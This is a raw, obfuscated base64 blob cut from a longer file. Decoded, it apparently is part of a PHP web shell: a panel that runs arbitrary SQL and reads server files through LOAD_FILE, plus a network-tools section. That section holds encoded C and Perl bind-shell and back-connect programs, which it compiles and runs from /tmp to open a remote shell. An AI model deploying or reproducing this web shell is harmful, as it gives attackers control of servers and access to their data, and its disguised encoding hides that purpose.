AzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9Jzw/PSg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSk7Pz4nPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfcDFzcyB2MWwzNT0nPD89KDVtcHR5KCRfUE9TVFsnc3FsX3Axc3MnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9wMXNzJ10pKTs/Pic+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+DQogICAgPD9waHANCiAgICAkdG1wID0gIjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfYjFzNSB2MWwzNT0nJz4iOw0KICAgIDRmKDRzczV0KCRfUE9TVFsnc3FsX2gyc3QnXSkpew0KICAgICAgICA0ZigkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSkpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkX1BPU1RbJ2NoMXJzNXQnXSkgew0KICAgICAgICAgICAgICAgIGMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgIlVURi04IjogJGRiLT5zNXRDaDFyczV0KCczdGY4Jyk7IGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgIktPSTgtUiI6ICRkYi0+czV0Q2gxcnM1dCgnazI0OHInKTsgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAiS09JOC1VIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4MycpOyBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkZGItPmw0c3REYnMoKTsNCiAgICAgICAgICAgIDVjaDIgIjxzNWw1Y3QgbjFtNT1zcWxfYjFzNT48MnB0NDJuIHYxbDM1PScnPjwvMnB0NDJuPiI7DQogICAgICAgICAgICB3aDRsNSgkNHQ1bSA9ICRkYi0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgIGw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOw0KICAgICAgICAgICAgICAgIDVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuJHYxbDM1LiciICcuKCR2MWwzNT09JF9QT1NUWydzcWxfYjFzNSddPydzNWw1Y3Q1ZCc6JycpLic+Jy4kdjFsMzUuJzwvMnB0NDJuPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1Y2gyICc8L3M1bDVjdD4nOw0KICAgICAgICB9DQogICAgICAgIDVsczUgNWNoMiAkdG1wOw0KICAgIH01bHM1DQogICAgICAgIDVjaDIgJHRtcDsNCiAgICA/PjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvdGQ+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICA8L3QxYmw1Pg0KICAgICAgICA8c2NyNHB0Pg0KICAgICAgICAgICAgZjNuY3Q0Mm4gc3QodCxsKSB7DQogICAgICAgICAgICAgICAgZDJjM201bnQuc2YucDYudjFsMzUgPSAnczVsNWN0JzsNCiAgICAgICAgICAgICAgICBkMmMzbTVudC5zZi5wYS52MWwzNSA9IHQ7DQogICAgICAgICAgICAgICAgNGYobCE9bjNsbClkMmMzbTVudC5zZi5wby52MWwzNSA9IGw7DQogICAgICAgICAgICAgICAgZDJjM201bnQuc2YuczNibTR0KCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmM25jdDQybiA0cygpIHsNCiAgICAgICAgICAgICAgICBmMnIoND0wOzQ8ZDJjM201bnQuc2YuNWw1bTVudHNbJ3RibFtdJ10ubDVuZ3RoOysrNCkNCiAgICAgICAgICAgICAgICAgICAgZDJjM201bnQuc2YuNWw1bTVudHNbJ3RibFtdJ11bNF0uY2g1Y2s1ZCA9ICFkMmMzbTVudC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkOw0KICAgICAgICAgICAgfQ0KICAgICAgICA8L3NjcjRwdD4NCiAgICA8P3BocA0KICAgIDRmKDRzczV0KCRkYikgJiYgJGRiLT5sNG5rKXsNCiAgICAgICAgNWNoMiAiPGJyLz48dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz1hIGM1bGxzcDFjNG5nPTA+IjsNCiAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9iMXM1J10pKXsNCiAgICAgICAgICAgICAgICAkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQogICAgICAgICAgICAgICAgNWNoMiAiPHRyPjx0ZCB3NGR0aD02IHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjZWVlO2IycmQ1ci1yNGdodDphcHggczJsNGQgI2VlZTsnPjxzcDFuPlQxYmw1czo8L3NwMW4+PGJyPjxicj4iOw0KICAgICAgICAgICAgICAgICR0YmxzX3I1cyA9ICRkYi0+bDRzdFQxYmw1cygpOw0KICAgICAgICAgICAgICAgIHdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgkdGJsc19yNXMpKSB7DQogICAgICAgICAgICAgICAgICAgIGw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZjV0Y2goJGRiLT5xMzVyeSgnU0VMRUNUIENPVU5UKCopIDFzIG4gRlJPTSAnLiR2MWwzNS4nJykpOw0KICAgICAgICAgICAgICAgICAgICAkdjFsMzUgPSBodG1sc3A1YzQxbGNoMXJzKCR2MWwzNSk7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIjxuMmJyPjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgbjFtNT0ndGJsW10nIHYxbDM1PSciLiR2MWwzNS4iJz4mbmJzcDs8MSBocjVmPSMgMm5jbDRjaz1cInN0KCciLiR2MWwzNS4iJylcIj4iLiR2MWwzNS4iPC8xPiAoIi4kblsnbiddLiIpPC9uMmJyPjxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA1Y2gyICI8NG5wM3QgdHlwNT0nY2g1Y2tiMngnIDJuY2w0Y2s9JzRzKCk7Jz4gPDRucDN0IHR5cDU9YjN0dDJuIHYxbDM1PSdEM21wJyAybmNsNGNrPSdkMmMzbTVudC5zZi5wYS52MWwzNT1cImQyd25sMjFkXCI7ZDJjM201bnQuc2YuczNibTR0KCk7Jz48L3RkPjx0ZCBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPiI7DQogICAgICAgICAgICAgICAgNGYoQCRfUE9TVFsncDYnXSA9PSAnczVsNWN0Jykgew0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3A2J10gPSAncTM1cnknOw0KICAgICAgICAgICAgICAgICAgICAkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJF9QT1NUWydwYSddLicnKTsNCiAgICAgICAgICAgICAgICAgICAgJG4zbSA9ICRkYi0+ZjV0Y2goKTsNCiAgICAgICAgICAgICAgICAgICAgJG4zbSA9ICRuM21bJ24nXTsNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiPHNwMW4+Ii4kX1BPU1RbJ3BhJ10uIjwvc3Axbj4gKCRuM20pICI7DQogICAgICAgICAgICAgICAgICAgIGYycigkND0wOyQ0PCgkbjNtL28wKTskNCsrKQ0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJDQgIT0gKDRudCkkX1BPU1RbJ3BvJ10pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nc3QoXCIiLiRfUE9TVFsncGEnXS4iXCIsICQ0KSc+IiwoJDQrNiksIjwvMT4gIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICgkNCs2KSwiICI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsndHlwNSddPT0ncGdzcWwnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwbyddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3BhJ10uJyBMSU1JVCBvMCBPRkZTRVQgJy4oJF9QT1NUWydwbyddKm8wKTsNCiAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwbyddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwYSddLidgIExJTUlUICcuKCRfUE9TVFsncG8nXSpvMCkuJyxvMCc7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIjxicj48YnI+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYoKEAkX1BPU1RbJ3A2J10gPT0gJ3EzNXJ5JykgJiYgITVtcHR5KCRfUE9TVFsncG8nXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGRiLT5xMzVyeShAJF9QT1NUWydwbyddKTsNCiAgICAgICAgICAgICAgICAgICAgNGYoJGRiLT5yNXMgIT09IGYxbHM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdDR0bDUgPSBmMWxzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0MWJsNSB3NGR0aD02MDAlIGM1bGxzcDFjNG5nPTAgYzVsbHAxZGQ0bmc9YSBjbDFzcz1tMTRuPic7DQogICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IDY7DQogICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSgkNHQ1bSA9ICRkYi0+ZjV0Y2goKSkgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCEkdDR0bDUpICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs1eSA9PiAkdjFsMzUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8dGg+Jy4kazV5Lic8L3RoPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1czV0KCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHQ0dGw1PXRyMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzwvdHI+PHRyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNG41ID0gYTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRyIGNsMXNzPSJsJy4kbDRuNS4nIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNG41ID0gJGw0bjU9PTY/YTo2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs1eSA9PiAkdjFsMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHYxbDM1ID09IG4zbGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8dGQ+PDQ+bjNsbDwvND48L3RkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0ZD4nLm5sYWJyKGh0bWxzcDVjNDFsY2gxcnMoJHYxbDM1KSkuJzwvdGQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPC90cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPC90MWJsNT4nOw0KICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPGQ0dj48Yj5FcnIycjo8L2I+ICcuaHRtbHNwNWM0MWxjaDFycygkZGItPjVycjJyKCkpLic8L2Q0dj4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDVjaDIgIjxicj48dDV4dDFyNTEgbjFtNT0ncG8nIHN0eWw1PSd3NGR0aDo2MDAlO2g1NGdodDo2MDBweCc+Ii5AaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BvJ10pLiI8L3Q1eHQxcjUxPjxici8+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSdFeDVjM3Q1Jz4iOw0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAiPC90MWJsNT48L2Yycm0+PGJyLz48ZjJybSAybnMzYm00dD0nZDJjM201bnQuc2YucDYudjFsMzU9XCJsMjFkZjRsNVwiO2QyYzNtNW50LnNmLnBhLnYxbDM1PXRoNHMuZi52MWwzNTtkMmMzbTVudC5zZi5zM2JtNHQoKTtyNXQzcm4gZjFsczU7Jz48c3Axbj5MMjFkIGY0bDU8L3NwMW4+IDw0bnAzdCAgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT4iOw0KICAgICAgICAgICAgNGYoQCRfUE9TVFsncDYnXSA9PSAnbDIxZGY0bDUnKSB7DQogICAgICAgICAgICAgICAgJGRiLT5xMzVyeSgiU0VMRUNUIExPQURfRklMRSgnIi4xZGRzbDFzaDVzKCRfUE9TVFsncGEnXSkuIicpIDFzIGY0bDUiKTsNCiAgICAgICAgICAgICAgICAkZjRsNSA9ICRkYi0+ZjV0Y2goKTsNCiAgICAgICAgICAgICAgICA1Y2gyICc8cHI1IGNsMXNzPW1sNj4nLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDVbJ2Y0bDUnXSkuJzwvcHI1Pic7DQogICAgICAgICAgICB9DQogICAgfQ0KICAgIDVjaDIgJzwvZDR2Pic7DQogICAgcHI0bnRGMjJ0NXIoKTsNCn0NCmYzbmN0NDJuIDFjdDQybk41dHcycmsoKSB7DQogICAgcHI0bnRINTFkNXIoKTsNCiAgICAkYjFja19jMm5uNWN0X2M9IklhbDNZYXg2WkdVZ1BITjBaR2x2TG1nK0RRMmoxV2lqYkhWa1pTQThjb2x6TG9OdllhdGxkQ2kyUGcwS0lhbDNZYXg2WkdVZ1BHaWxkR2wzWlhRdjFXdTMxRHVOQ21sM2RDQnRZV2wzS0dsM2RDQmhjbWRqTENCajFHRnlJQ3BoY21kYVc2MHBJSHNOQzRBZ0lDQnBiblFnWm1RN0RRMmdJQ0FnY29SeWRXTjBJSE52WWF0aFpHUnlYYWwzSUhOcGJqc05DNEFnSUNCa1lXVnRiYXUyTVN3d0tUc05DNEFnSUNCejFXdTNjYWwzWGFaaGJXbHM1U0E5SUVGR1gwbE9SVlE3RFEyZ0lDQWdjYWwzTG5OcGJsOXdib0owSUQwZzFIUnZibk0yWVhSdjFTaGhjbWRhV3pKZEtTazdEUTJnSUNBZ2NhbDNMbk5wYmw5aFpHUnlMbk5mWVdSa2M0QTlJR2wzWlhSZllXUmtjNGhoY21kYVd6RmRLVHNOQzRBZ0lDQm1aQ0E5SUhOdllhdGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z1NWQlFVazlVVDY5VVE2QXBJRHNOQzRBZ0lDQnBaNEEyS0dOdmJtaWxZb1EyWm1Rc0lDaHpkSEo2WW9RZ2NhOWoxYUZrWkhJZ0s0a2dKbk5wYjR3Z2NhbGVaVzltS0hOMGNuVmpkQ0J6YmFOcllXUmtjNGtwS1R3d0tTQjdEUTJnSUNBZ0lDQWdJSEJsY25KdmM0ZzRRYTkzYm1WamRDQm1ZV2xzSTRrN0RRMmdJQ0FnSUNBZ0lISmxkSFZ5YjRBd093MEtJQ0FnSUgwTkM0QWdJQ0JrZFhBeUtHWmtMQ0F3S1RzTkM0QWdJQ0JrZFhBeUtHWmtMQ0F4S1RzTkM0QWdJQ0JrZFhBeUtHWmtMQ0F5S1RzTkM0QWdJQ0J6NVhOMFpXMDJJNDk0MVd1dmNhZ2dMV2s0S1RzTkM0QWdJQ0JqYkc5elpTaG1aQ2s3RFFwOSI7DQogICAgJGIxY2tfYzJubjVjdF9wPSJJeUV2ZFhOeUxhSnBiNDl3WlhKc0RRcDZjYVVnVWE5ajFhVjBPdzBLSkdsaFpHUnlQV2wzWlhSZllYUnZiNGdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqMmdKQ0ZjYjRJcE93MEtKSEJoWkdSeVBYTnZZYXRoWkdSeVhhbDNLQ1JCVWtkV1d6RmRMQ0FrMVdGa1pISXBJSHg4SUdScFpTZzRSWEp5Ym9JZUlDUWhYR3U0S1RzTkM0UndjbTkwYno2blpYUndjbTkwYmFKaWJtRnRaU2duZEdOd0p5azdEUXB6YmFOclpYUTJVMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDZOVVVrVkJUU3dnSkhCeWJvUnZLU0I4ZkNCazFXVTJJa1Z5Y205eU80QWtJVngzSTRrN0RRcGpiYWkzWldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXB2Y0dWM0tGTlVSRWxPTENBNFA0WlRUME5MUlZRNEtUc05DbTl3Wld1MlU2UkVUNlZVTENBNFA0WlRUME5MUlZRNEtUc05DbTl3Wld1MlU2UkVSVkpTTENBNFA0WlRUME5MUlZRNEtUc05Dbk5pY29SbGJTZ25MYUpwYjQ5ejFDQXQxU2NwT3cwS1lheHZjYVUyVTZSRVNVdXBPdzBLWWF4dmNhVTJVNlJFVDZWVUtUc05DbU5zYm9ObEtGTlVSRVZTVTRrNyI7DQogICAgJGI0bmRfcDJydF9jPSJJYWwzWWF4NlpHVWdQSE4wWkdsdkxtZytEUTJqMVdpamJIVmtaU0E4Y29SeTFXaW5MbWcrRFEyajFXaWpiSFZrWlNBOGRXaXBjb1JrTG1nK0RRMmoxV2lqYkhWa1pTQThibVYwWkdJMzFEdU5DNE5wYm1Oc2RXUmxJRHh6ZEdSczFXSTMxRHVOQ21sM2RDQnRZV2wzS0dsM2RDQmhjbWRqTENCajFHRnlJQzJxWVhKbmQ0a2c1dzBLSUNBZ0lHbDNkQ0J6TEdNczFUc05DNEFnSUNCajFHRnlJSEJiTXpCZE93MEtJQ0FnSUhOMGNuVmpkQ0J6YmFOcllXUmtjbDlwYjRCeU93MEtJQ0FnSUdSaFpXNnZiNGd4TERBcE93MEtJQ0FnSUhNZ1BTQnpiYU5yWlhRMlFVWmZTVWlGVkN4VFQwTkxYNk5VVWtWQlRTd3dLVHNOQzRBZ0lDQnBaNGdoY3lrZ2NtVjBkWEozSUMweE93MEtJQ0FnSUhJM2NhbDNYYVpoYldsczVTQTlJRUZHWDBsT1JWUTdEUTJnSUNBZ2M0aXoxV2lmY0c5eWRDQTlJR2gwYmFpektHRjBiYWsyWVhKbmRsc3hYU2twT3cwS0lDQWdJSEkzY2FsM1hhRmtaSEkzYzY5aFpHUnlJRDBnMUhSdmJtdzJTVWlCUkVSU1gwRk9XU2s3RFEyZ0lDQWdZbWwzWkNoekxDQTJjb1J5ZFdOMElITnZZYXRoWkdSeUlDMnBKbklzSURCdU1UQXBPdzBLSUNBZ0lHeHBjb1JsYjRoekxDQTZLVHNOQzRBZ0lDQm8xR2xzWlNneEtTQjdEUTJnSUNBZ0lDQWdJR005WVdOalpYQjBLSE1zTUN3d0tUc05DNEFnSUNBZ0lDQWdaSFZ3TTRoakxEQXBPdzBLSUNBZ0lDQWdJQ0JrZFhBeUtHTXNNU2s3RFEyZ0lDQWdJQ0FnSUdSNmNESTJZeXd5S1RzTkM0QWdJQ0FnSUNBZ2RvSnBkR1UyWXl3NFVHRnpjb2R2Y21RZUk0d2lLVHNOQzRBZ0lDQWdJQ0FnY21WaFpDaGpMSEFzY2FsZVpXOW1LSEFwS1RzTkM0QWdJQ0FnSUNBZ1ptOXlLR2s5TUR0cFBITjBjbXhsYjRod0tUdHBLeXNwRFEyZ0lDQWdJQ0FnSUNBZ0lDQnBaNGdnS0hCYjFWMGdQVDBnSjZ4M0p5a2dmSHdnS0hCYjFWMGdQVDBnSjZ4eUp5a2dLUTBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSEJiMVYwZ1BTQW5YREFuT3cwS0lDQWdJQ0FnSUNCcFo0QTJjb1J5WWE2d0tHRnlab1piTWwwc2NDa2dQVDBnTUNrTkM0QWdJQ0FnSUNBZ0lDQWdJSE5pY29SbGJTZzRMYUpwYjQ5ejFDQXQxU0lwT3cwS0lDQWdJQ0FnSUNCamJHOXpaU2hqS1RzTkM0QWdJQ0I5RFFwOSI7DQogICAgJGI0bmRfcDJydF9wPSJJeUV2ZFhOeUxhSnBiNDl3WlhKc0RRMmtVMGhGVEV3OUk0OTQxV3V2Y2FnZ0xXazRPdzBLMVdZZ0tFQkJVa2RXSUR3Z01Ta2c1eUJsNUdsMEtERXBPeUI5RFFwNmNhVWdVYTlqMWFWME93MEtjYTlqMWFWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlU2UlNSVUZOTEdkbGRIQnlib1J2WW5sM1lXNmxLQ2QwWW9BbktTa2dmSHdnWkdsbElDSkRZV2kwSUdOeVpXRjBaU0J6YmFOclpYUmNiNEk3RFFwelpYUnpiYU5yYm9CMEtGTXNVMDlNWDZOUFEwdEZWQ3hUVDY5U1JWVlRSVUZFUkZJc01TazdEUXA0MVdpa0tGTXNjYTlqMWFGa1pISmYxV3UySkVGU1I2WmJNRjBzU1VpQlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBNFFhRjNkQ0J2Y0dWM0lIQnZjblJjYjRJN0RRcHMxWE4wWld1MlV5d3pLU0I4ZkNCazFXVWdJa05oYm5RZ2JHbHpkR1YzSUhCdmNuUmNiNEk3RFFwbzFHbHNaU2d4S1NCN0RRMkpZV05qWlhCMEtFTlBUa3VzVXlrN0RRMkoxV1kySVNna2NHbGtQV1p2Y21zcEtTQjdEUTJKQ1dScFpTQTRRYUYzYm05MElHWnZjbXM0SUdsbUlDZ2haR1ZtMVdpbFpDQWtjR2xrS1RzTkNna0pib0JsYjRCVFZFUkpUNHc0UENaRFQwaU9JanNOQ2drSmJvQmxiNEJUVkVSUFZWUXNJanVtUTA5T1Q0STdEUTJKQ1c5d1pXdWdVNlJFUlZKU0xDSStKa05QVGt1NE93MEtDUWxsNUdWaklDUlRTRVZNVENCOGZDQmsxV1VnY0hKcGJuUWdRMDlPVDRBNFFhRjNkQ0JsNUdWamRYUmxJQ1JUU0VWTVRGeDNJanNOQ2drSllheHZjYVVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOw0KICAgID8+DQogICAgPGg2Pk41dHcycmsgdDIybHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICA8ZjJybSBuMW01PSduZnAnIDJuUzNibTR0PSJnKG4zbGwsbjNsbCx0aDRzLjNzNG5nLnYxbDM1LHRoNHMucDJydC52MWwzNSx0aDRzLnAxc3MudjFsMzUpO3I1dDNybiBmMWxzNTsiPg0KICAgIDxzcDFuPkI0bmQgcDJydCB0MiAvYjRuL3NoPC9zcDFuPjxici8+DQogICAgUDJydDogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3AycnQnIHYxbDM1PSdvNm9vNyc+IFAxc3N3MnJkOiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDFzcycgdjFsMzU9J3dzMic+IFVzNG5nOiA8czVsNWN0IG4xbTU9IjNzNG5nIj48MnB0NDJuIHYxbDM1PSdicGMnPkM8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdicHAnPlA1cmw8LzJwdDQybj48L3M1bDVjdD4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+DQogICAgPC9mMnJtPg0KICAgIDxmMnJtIG4xbTU9J25mcCcgMm5TM2JtNHQ9ImcobjNsbCxuM2xsLHRoNHMuM3M0bmcudjFsMzUsdGg0cy5zNXJ2NXIudjFsMzUsdGg0cy5wMnJ0LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij4NCiAgICA8c3Axbj5CMWNrLWMybm41Y3QgdDI8L3NwMW4+PGJyLz4NCiAgICBTNXJ2NXI6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdzNXJ2NXInIHYxbDM1PSc8Pz0kX1NFUlZFUlsnUkVNT1RFX0FERFInXT8+Jz4gUDJydDogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3AycnQnIHYxbDM1PSdvNm9vNyc+IFVzNG5nOiA8czVsNWN0IG4xbTU9IjNzNG5nIj48MnB0NDJuIHYxbDM1PSdiY2MnPkM8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdiY3AnPlA1cmw8LzJwdDQybj48L3M1bDVjdD4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+DQogICAgPC9mMnJtPjxicj4NCiAgICA8P3BocA0KICAgIDRmKDRzczV0KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgZjNuY3Q0Mm4gY2YoJGYsJHQpIHsNCiAgICAgICAgICAgICR3PUBmMnA1bigkZiwidyIpIDJyIEBmM25jdDQybl81eDRzdHMoJ2Y0bDVfcDN0X2MybnQ1bnRzJyk7DQogICAgICAgICAgICA0ZigkdykgICAgew0KICAgICAgICAgICAgICAgIEBmd3I0dDUoJHcsQGIxczVldV9kNWMyZDUoJHQpKSAyciBAZnAzdHMoJHcsQGIxczVldV9kNWMyZDUoJHQpKSAyciBAZjRsNV9wM3RfYzJudDVudHMoJGYsQGIxczVldV9kNWMyZDUoJHQpKTsNCiAgICAgICAgICAgICAgICBAZmNsMnM1KCR3KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICA0ZigkX1BPU1RbJ3A2J10gPT0gJ2JwYycpIHsNCiAgICAgICAgICAgIGNmKCIvdG1wL2JwLmMiLCRiNG5kX3AycnRfYyk7DQogICAgICAgICAgICAkMjN0ID0gNXgoImdjYyAtMiAvdG1wL2JwIC90bXAvYnAuYyIpOw0KICAgICAgICAgICAgQDNubDRuaygiL3RtcC9icC5jIik7DQogICAgICAgICAgICAkMjN0IC49IDV4KCIvdG1wL2JwICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiAmIik7DQogICAgICAgICAgICA1Y2gyICI8cHI1IGNsMXNzPW1sNj4kMjN0XG4iLjV4KCJwcyAxM3ggfCBncjVwIGJwIikuIjwvcHI1PiI7DQogICAgICAgIH0NCiAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICdicHAnKSB7DQogICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGI0bmRfcDJydF9wKTsNCiAgICAgICAgICAgICQyM3QgPSA1eCh3aDRjaCgicDVybCIpLiIgL3RtcC9icC5wbCAiLiRfUE9TVFsncGEnXS4iICYiKTsNCiAgICAgICAgICAgIDVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIuNXgoInBzIDEzeCB8IGdyNXAgYnAucGwiKS4iPC9wcjU+IjsNCiAgICAgICAgfQ0KICAgICAgICA0ZigkX1BPU1RbJ3A2J10gPT0gJ2JjYycpIHsNCiAgICAgICAgICAgIGNmKCIvdG1wL2JjLmMiLCRiMWNrX2Mybm41Y3RfYyk7DQogICAgICAgICAgICAkMjN0ID0gNXgoImdjYyAtMiAvdG1wL2JjIC90bXAvYmMuYyIpOw0KICAgICAgICAgICAgQDNubDRuaygiL3RtcC9iYy5jIik7DQogICAgICAgICAgICAkMjN0IC49IDV4KCIvdG1wL2JjICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiAmIik7DQogICAgICAgICAgICA1Y2gyICI8cHI1IGNsMXNzPW1sNj4kMjN0XG4iLjV4KCJwcyAxM3ggfCBncjVwIGJjIikuIjwvcHI1PiI7DQogICAgICAgIH0NCiAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7DQogICAgICAgICAgICBjZigiL3RtcC9iYy5wbCIsJGIxY2tfYzJubjVjdF9wKTsNCiAgICAgICAgICAgICQyM3QgPSA1eCh3aDRjaCgicDVybCIpLiIgL3RtcC9iYy5wbCAiLiRfUE9TVFsncGEnXS4iICIuJF9QT1NUWydwbyddLiIgJiIpOw0KICAgICAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDY+JDIzdFxuIi41eCgicHMgMTN4IHwgZ3I1cCBiYy5wbCIpLiI8L3ByNT4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIDVjaDIgJzwvZDR2Pic7DQogICAgcHI0bnRGMjJ0NXIoKTsNCn0NCjRmKCA1b